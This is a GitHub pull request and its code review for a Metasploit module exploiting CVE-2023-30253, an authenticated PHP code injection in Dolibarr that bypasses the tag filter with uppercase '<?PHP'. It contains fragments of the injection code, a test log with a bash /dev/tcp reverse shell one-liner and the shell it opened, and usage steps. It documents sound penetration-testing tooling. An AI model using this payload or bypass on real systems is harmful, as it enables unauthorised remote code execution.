Add Dolibarr ERP/CRM authenticated RCE module (CVE-2023-30253)#21362
Open
M4nu02 wants to merge 2 commits intorapid7:masterfrom
Open
Add Dolibarr ERP/CRM authenticated RCE module (CVE-2023-30253)#21362M4nu02 wants to merge 2 commits intorapid7:masterfrom
M4nu02 wants to merge 2 commits intorapid7:masterfrom
Conversation
Adds an exploit module for CVE-2023-30253, an authenticated PHP code injection vulnerability in Dolibarr ERP/CRM before 17.0.1. The module bypasses the PHP tag filter using uppercase tags and achieves RCE via the Website module.
Contributor
msutovsky-r7
left a comment
msutovsky-r7
left a comment
There was a problem hiding this comment.
msf exploit(unix/http/dolibarr_cms_rce_cve_2023_30253) > run verbose=true
[+] bash -c '0<&147-;exec 147<>/dev/tcp/172.19.0.1/4242;sh <&147 >&147 2>&147'
[*] Started reverse TCP handler on 172.19.0.1:4242
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable version detected: 17.0.0
[*] Attempting login as admin
[+] Successfully authenticated to Dolibarr
[*] Creating website: wklvypgq
[+] Website 'wklvypgq' created
[*] Creating page: gkkxld
[+] Page 'gkkxld' created with ID 1
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Payload injected, triggering...
[*] Command shell session 1 opened (172.19.0.1:4242 -> 172.19.0.3:54992) at 2026-04-30 15:53:07 +0200
[*] Cleaning up website 'wklvypgq'
[+] Website 'wklvypgq' deleted
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| token = get_csrf_token('website/index.php', referer: referer('website/index.php')) | ||
| fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil? | ||
|
|
||
| page_content = %(<section id="mysection1" contenteditable="true"><?PHP system("#{payload.encoded}"); ?></section>) |
Contributor
There was a problem hiding this comment.
The mysection1 should be probably randomized
Author
There was a problem hiding this comment.
Done, the section ID is now randomized
| end | ||
|
|
||
| def referer(path) | ||
| "http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}" |
Contributor
There was a problem hiding this comment.
If SSL is gonna be set to true, this will be incorrect. Also, do you really need this? I've tested the module without Referer header and it seemed to be working fine (?)
Author
There was a problem hiding this comment.
I tested on 14.0.0 and without the Referer header the exploit doesn't work, it causes page creation to fail. I've kept the header but fixed the SSL issue by dynamically selecting http or https based on the SSL datastore option.
If you have any suggestions on how to improve this further I'm happy to hear them.
| fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil? | ||
|
|
||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), |
Contributor
There was a problem hiding this comment.
Suggested change
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), | |
| 'uri' => normalize_uri(target_uri.path, 'website','index.php'), |
| fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil? | ||
|
|
||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), |
Contributor
There was a problem hiding this comment.
Suggested change
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), | |
| 'uri' => normalize_uri(target_uri.path, 'website','index.php'), |
| page_content = %(<section id="mysection1" contenteditable="true"><?PHP system("#{payload.encoded}"); ?></section>) | ||
|
|
||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), |
Contributor
There was a problem hiding this comment.
Suggested change
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), | |
| 'uri' => normalize_uri(target_uri.path, 'website','index.php'), |
| token = get_csrf_token('website/index.php', referer: referer('website/index.php')) | ||
| fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil? | ||
|
|
||
| page_content = %(<section id="mysection1" contenteditable="true"><?PHP system("#{payload.encoded}"); ?></section>) |
Contributor
There was a problem hiding this comment.
There's also option to run PHP meterpreter instead of reverse shell here.
Author
There was a problem hiding this comment.
Hi, I already tried the php/meterpreter/reverse_tcp payload, but it generates a lowercase "<?php" tag which gets filtered out by Dolibarr's check.
The bypass specifically requires an uppercase variant like "<?PHP"
| def get_website_id | ||
| token = get_csrf_token('website/index.php', referer: referer('website/index.php')) | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), |
Contributor
There was a problem hiding this comment.
Suggested change
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), | |
| 'uri' => normalize_uri(target_uri.path, 'website','index.php'), |
| def delete_page | ||
| token = get_csrf_token('website/index.php', referer: referer('website/index.php')) | ||
| send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), |
Contributor
There was a problem hiding this comment.
Suggested change
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), | |
| 'uri' => normalize_uri(target_uri.path, 'website','index.php'), |
|
|
||
| token = get_csrf_token('website/index.php', referer: referer('website/index.php')) | ||
| send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), |
Contributor
There was a problem hiding this comment.
Suggested change
| 'uri' => normalize_uri(target_uri.path, 'website/index.php'), | |
| 'uri' => normalize_uri(target_uri.path, 'website','index.php'), |
bwatters-r7
reviewed
Apr 30, 2026
| print_warning("Cleanup failed: #{e.message}") | ||
| end | ||
|
|
||
| super |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
4 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Adds an exploit module for CVE-2023-30253, an authenticated PHP code injection vulnerability in Dolibarr ERP/CRM before 17.0.1. The module bypasses the PHP tag filter using uppercase tags and achieves RCE via the Website module.
Tested against Dolibarr 17.0.0 and 14.0.0 on Linux (Docker).
Verification
msfconsoleuse exploit/unix/http/dolibarr_cms_rce_cve_2023_30253set RHOSTS <target>set LHOST <your ip>set USERNAME adminset PASSWORD adminruninfo -dSetup
See the documentation file for Docker setup instructions:
documentation/modules/exploit/unix/http/dolibarr_cms_rce_cve_2023_30253.md